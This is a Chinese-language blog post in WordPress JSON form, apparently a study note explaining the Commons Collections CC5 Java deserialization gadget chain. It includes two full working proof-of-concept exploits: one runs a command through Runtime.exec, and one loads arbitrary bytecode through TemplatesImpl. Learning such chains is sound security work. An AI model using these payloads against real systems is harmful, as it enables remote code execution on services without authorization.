{"id":214,"date":"2026-03-25T19:42:01","date_gmt":"2026-03-25T11:42:01","guid":{"rendered":"https:\/\/arknight.wiki\/?p=214"},"modified":"2026-03-25T19:42:01","modified_gmt":"2026-03-25T11:42:01","slug":"cc5","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/03\/25\/cc5\/","title":{"rendered":"CC5"},"content":{"rendered":"

CC5:<\/h1>\n

\u8fd9\u4e2a\u76f8\u6bd4CC1\u53ea\u662f\u51fa\u53e3\u53d8\u4e86\u4e00\u4e0b\u3002<\/p>\n

LazyMap\u7c7b\uff1a<\/h3>\n

\u6211\u4eec\u77e5\u9053\u8fd9\u4e2a\u7c7b\u7684get()<\/code>\u65b9\u6cd5\u53ef\u4ee5\u89e6\u53d1transform()<\/code>\u65b9\u6cd5\u3002<\/p>\n

    public Object get(Object key) {\n        \/\/ create value for key if key is not currently in the map\n        if (map.containsKey(key) == false) {\n            Object value = factory.transform(key);\n            map.put(key, value);\n            return value;\n        }\n        return map.get(key);\n    }<\/code><\/pre>\n
TiedMapEntry\u7c7b\uff1a<\/h3>\n
\u4e4b\u524d\u5728CC6\u4e2d\uff0c\u6211\u4eec\u53d1\u73b0\u8fd9\u4e2a\u7c7b\u7684getValue()<\/code>\u65b9\u6cd5\u53ef\u4ee5\u89e6\u53d1get()<\/code>\u65b9\u6cd5\uff1a<\/p>\n
    public Object getValue() {\n        return map.get(key);\n    }<\/code><\/pre>\n
\u7136\u540e\u4e0b\u9762\u8fd9\u4e2a\u7c7b\u7684toString()<\/code>\u65b9\u6cd5\uff0c\u53ef\u4ee5\u89e6\u53d1\u5b83\u81ea\u5df1\u7684getValue()<\/code>\u65b9\u6cd5\uff1a<\/p>\n
    public String toString() {\n        return getKey() + \"=\" + getValue();\n    }<\/code><\/pre>\n
BadAttributeValueExpException\u7c7b\uff1a<\/h3>\n
\u8fd9\u4e2a\u7c7b\u7684readObject()<\/code>\u65b9\u6cd5\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528toString()<\/code>\u65b9\u6cd5\uff1a<\/p>\n
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {\n        ObjectInputStream.GetField gf = ois.readFields();\n        Object valObj = gf.get(\"val\", null);\n\n        if (valObj == null) {\n            val = null;\n        } else if (valObj instanceof String) {\n            val= valObj;\n        } else if (System.getSecurityManager() == null\n                || valObj instanceof Long\n                || valObj instanceof Integer\n                || valObj instanceof Float\n                || valObj instanceof Double\n                || valObj instanceof Byte\n                || valObj instanceof Short\n                || valObj instanceof Boolean) {\n            val = valObj.toString();\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  \u00a0\/\/\u8fd9\u4e00\u884c\n        } else { \/\/ the serialized object is from a version without JDK-8019292 fix\n            val = System.identityHashCode(valObj) + \"@\" + valObj.getClass().getName();\n        }\n    }<\/code><\/pre>\n
\u7167\u4f8b\u89c6\u5bdfval<\/code>\u662f\u5426\u53ef\u63a7\uff1a<\/p>\n
\u6784\u9020\u51fd\u6570\uff1a<\/p>\n
    public BadAttributeValueExpException (Object val) {\n        this.val = val == null ? null : val.toString();\n    }<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\uff0c\u5982\u679c\u76f4\u63a5\u4f20\u6211\u4eec\u6784\u9020\u7684\u5bf9\u8c61\uff0c\u4f1a\u63d0\u524d\u8c03\u7528toString()<\/code>\u65b9\u6cd5\uff0c\u6240\u4ee5\u8fd8\u662f\u5148\u4f20null<\/code>\u628a\u5b83\u8d4b\u503c\u4e3anull<\/code>\u518d\u53cd\u5c04\u6539<\/p>\n
POC:<\/h3>\n
poc1\uff1a\u76f4\u63a5\u63a5CC1\u4e0a\u534a<\/p>\n
package POC.CC5;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport javax.management.BadAttributeValueExpException;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CC5 {\n    public static void main(String[] args) throws Exception {\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\",new Class[]{String.class,Class[].class},new Object[]{\"getRuntime\",null}),\n                new InvokerTransformer(\"invoke\",new Class[]{Object.class,Object[].class},new Object[]{null,null}),\n                new InvokerTransformer(\"exec\",new Class[]{String.class},new Object[]{\"calc\"})\n        };\n        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);\n\n        HashMap<Object,Object> map = new HashMap<>();\n        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);\n\n        \/\/CC5\u7684\u5f00\u5934\n        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,\"aaa\");\n        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);\n\n        \/\/\u53cd\u5c04\u4fee\u6539val\u4e3atiedMapEntry\n        Class a = Class.forName(\"javax.management.BadAttributeValueExpException\");\n        Field valfield = a.getDeclaredField(\"val\");\n        valfield.setAccessible(true);\n        valfield.set(badAttributeValueExpException,tiedMapEntry);\n\n        \/\/\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\n        serialize(badAttributeValueExpException);\n        unserialize(\"CC5.txt\");\n    }\n    \/\/\u5b9a\u4e49\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void serialize(Object object) throws Exception{\n        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"CC5.txt\"));\n        oos.writeObject(object);\n        oos.close();\n    }\n\n    \/\/\u5b9a\u4e49\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void unserialize(String filename) throws Exception{\n        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));\n        ois.readObject();\n    }\n}\n<\/code><\/pre>\n
poc2\uff1aCC3\u5b57\u8282\u7801\u52a0\u8f7d<\/p>\n
package org.example;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InstantiateTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport javax.management.BadAttributeValueExpException;\nimport javax.xml.transform.Templates;\nimport javax.xml.transform.TransformerConfigurationException;\nimport java.io.*;\nimport java.lang.reflect.*;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CC5 {\n    public static void main(String[] args) throws Exception {\n        TemplatesImpl templates = new TemplatesImpl();\n        setFieldValue(templates,\"_name\",\"a\");\n\n        byte[] code = Files.readAllBytes(Paths.get(\"C:\\Users\\inex\\IdeaProjects\\cc\\classtobytes\\src\\main\\java\\org\\example\\DecodedTest.class\"));\n        byte[][] codes = {code};\n        setFieldValue(templates,\"_bytecodes\",codes);\n\n        setFieldValue(templates,\"_tfactory\",new TransformerFactoryImpl());\n\/\/        templates.newTransformer();\n\n        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});\n\/\/        instantiateTransformer.transform(TrAXFilter.class);\n        Transformer[] transformers = new Transformer[] {\n                new ConstantTransformer(TrAXFilter.class),\n                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})\n        };\n        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);\n        Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(),chainedTransformer);\n\n        \/\/CC5\u7684\u5f00\u5934\n        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,\"a\");\n        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);\n\n        \/\/\u53cd\u5c04\u4fee\u6539val\u4e3atiedMapEntry\n        Class a = Class.forName(\"javax.management.BadAttributeValueExpException\");\n        Field valfield = a.getDeclaredField(\"val\");\n        valfield.setAccessible(true);\n        valfield.set(badAttributeValueExpException,tiedMapEntry);\n\n        \/\/\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\n        serialize(badAttributeValueExpException);\n        unserialize(\"CC5.txt\");\n    }\n    public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{\n        Class c = object.getClass();\n        Field field = c.getDeclaredField(field_name);\n        field.setAccessible(true);\n        field.set(object, field_value);\n    }\n    \/\/\u5b9a\u4e49\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void serialize(Object object) throws IOException{\n        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"CC5.txt\"));\n        oos.writeObject(object);\n        oos.close();\n    }\n\n    \/\/\u5b9a\u4e49\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void unserialize(String filename) throws IOException, ClassNotFoundException{\n        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));\n        ois.readObject();\n    }\n}\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
CC5: \u8fd9\u4e2a\u76f8\u6bd4CC1\u53ea\u662f\u51fa\u53e3\u53d8\u4e86\u4e00\u4e0b\u3002 LazyMap\u7c7b\uff1a \u6211\u4eec\u77e5\u9053\u8fd9\u4e2a\u7c7b\u7684get()\u65b9\u6cd5\u53ef\u4ee5\u89e6\u53d1tran […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,3],"tags":[],"class_list":["post-214","post","type-post","status-publish","format-standard","hentry","category-java","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/214","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=214"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/214\/revisions"}],"predecessor-version":[{"id":215,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/214\/revisions\/215"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=214"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=214"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=214"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}